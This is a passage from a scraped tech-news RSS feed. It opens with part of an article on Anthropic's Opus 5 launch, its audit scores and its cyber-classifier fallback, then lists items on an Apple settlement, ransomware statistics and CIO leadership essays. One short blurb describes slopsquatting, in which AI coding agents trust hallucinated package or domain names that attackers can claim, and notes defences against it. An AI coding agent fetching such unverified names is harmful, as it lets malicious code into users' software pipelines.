weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[Judge approves Apple's $250 million settlement offer over Siri lawsuit]]></title>
<description><![CDATA[A lawsuit over Apple's failure to deliver Apple Intelligence and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.Apple has settled a class-action lawsuit over its delayed Siri features.The class action suit filed in 2025 alleged ...]]></description>
<link>https://tsecurity.de/de/3691966/ios-mac-os/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691966/ios-mac-os/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit/</guid>
<pubDate>Fri, 24 Jul 2026 17:50:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A lawsuit over Apple's failure to deliver <a href="https://appleinsider.com/inside/apple-intelligence" title="Apple Intelligence" data-kpt="1">Apple Intelligence</a> and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67552-142286-66856-140246-Apple-Intelligence-lawsuit-gavel-xl.jpg" alt="Wooden judge's gavel resting on a block, with an Apple logo surrounded by a decorative atomic-style pattern engraved on the gavel head against a neutral gray background"><br><span>Apple has settled a class-action lawsuit over its delayed Siri features.</span></div><br>The class action suit <a href="https://appleinsider.com/articles/25/07/29/apples-delayed-siri-update-spawns-another-securities-lawsuit">filed in 2025</a> alleged that people had bought new <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a> expressly because of Apple's promoting of Apple Intelligence features that it then did not deliver. Apple admitted in March 2025 that the new Siri features <a href="https://appleinsider.com/articles/25/03/07/apple-confirms-that-apple-intelligence-siri-features-are-taking-longer-than-expected">were delayed</a>, but then in May 2025 <a href="https://appleinsider.com/articles/26/05/05/lawsuit-over-delayed-siri-features-reaches-massive-250m-settlement">offered a settlement</a>.<br><br>Apple and the parties to the class action suit agreed to a $250 million settlement, but it had to be approved. Now <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.446692/gov.uscourts.cand.446692.94.0_1.pdf">in a filing</a> in the US District Court, Northern District of California, judge Noel Wise has provisionally given approval.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245055?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Slopsquatting, Phantom Domains, and HalluSquatting Are the Same AI Attack]]></title>
<description><![CDATA[Slopsquatting, phantom squatting, and HalluSquatting all exploit the same late-binding attack pattern, where AI coding agents trust hallucinated package, repo, or domain names. ActiveState explains how pre-fetch verification and governed dependency management can help stop these attacks before ma...]]></description>
<link>https://tsecurity.de/de/3691767/it-security-nachrichten/slopsquatting-phantom-domains-and-hallusquatting-are-the-same-ai-attack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691767/it-security-nachrichten/slopsquatting-phantom-domains-and-hallusquatting-are-the-same-ai-attack/</guid>
<pubDate>Fri, 24 Jul 2026 16:10:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Slopsquatting, phantom squatting, and HalluSquatting all exploit the same late-binding attack pattern, where AI coding agents trust hallucinated package, repo, or domain names. ActiveState explains how pre-fetch verification and governed dependency management can help stop these attacks before malicious code enters the pipeline. [...]]]></content:encoded>
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<title><![CDATA[Im Smartphone, im Bett, sogar in der Babynahrung: Die NASA steckt in mehr Alltagsdingen als gedacht]]></title>
<description><![CDATA[Wenn von der NASA die Rede ist, denken die meisten an Mondlandungen, Mars-Rover oder spektakuläre Bilder aus dem All. Doch die US-Raumfahrtbehörde hat auch auf der Erde Spuren hinterlassen. Für die extremen Anforderungen im Weltraum mussten neue Materialien, Geräte und Verfahren entwickelt oder v...]]></description>
<link>https://tsecurity.de/de/3691713/it-nachrichten/im-smartphone-im-bett-sogar-in-der-babynahrung-die-nasa-steckt-in-mehr-alltagsdingen-als-gedacht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691713/it-nachrichten/im-smartphone-im-bett-sogar-in-der-babynahrung-die-nasa-steckt-in-mehr-alltagsdingen-als-gedacht/</guid>
<pubDate>Fri, 24 Jul 2026 15:56:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wenn von der NASA die Rede ist, denken die meisten an Mondlandungen, Mars-Rover oder spektakuläre Bilder aus dem All. Doch die US-Raumfahrtbehörde hat auch auf der Erde Spuren hinterlassen. Für die extremen Anforderungen im Weltraum mussten neue Materialien, Geräte und Verfahren entwickelt oder verbessert werden. Viele dieser sogenannten „Spinoffs“ fanden später ihren Weg in unseren Alltag – von bequemen Matratzen über Wasserfilter bis hin zu moderner Medizintechnik. Diese 29 Entwicklungen zeigen, wie sehr die Raumfahrt unser tägliches Leben beeinflusst – darunter auch ein hartnäckiger Mythos.]]></content:encoded>
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<title><![CDATA[‘An anthem for the co-dependent’: Bad Magpie’s corvid carnage with a side of existential angst]]></title>
<description><![CDATA[Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havocAmid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded cor...]]></description>
<link>https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</guid>
<pubDate>Fri, 24 Jul 2026 14:19:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havoc</p><p>Amid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded corvid that creates havoc wherever she goes – calls out forlornly as a flock of her kind passes above, with a conspicuous gap in their formation.</p><p>Milktooth games designer and co-founder Daisy Fernandez has had this particular image in her head for years. Lying in the grass one afternoon during the 2020 lockdowns, she looked up and saw a V-shaped pattern in the sky, poignantly incomplete. “It really stuck with me,” she says. “I posted about it online and someone told me about a ‘missing man’ formation, which is an aerial salute to a fallen pilot.”</p> <a href="https://www.theguardian.com/games/2026/jul/24/bad-magpie-preview-milktooth">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Neu in .NET 10.0 [33]: Verbesserungen bei ValidationContext]]></title>
<description><![CDATA[ValidationContext funktioniert nun auch mit dem Native AOT-Compiler.]]></description>
<link>https://tsecurity.de/de/3690959/it-nachrichten/neu-in-net-100-33-verbesserungen-bei-validationcontext/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690959/it-nachrichten/neu-in-net-100-33-verbesserungen-bei-validationcontext/</guid>
<pubDate>Fri, 24 Jul 2026 10:04:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ValidationContext funktioniert nun auch mit dem Native AOT-Compiler.]]></content:encoded>
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<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> 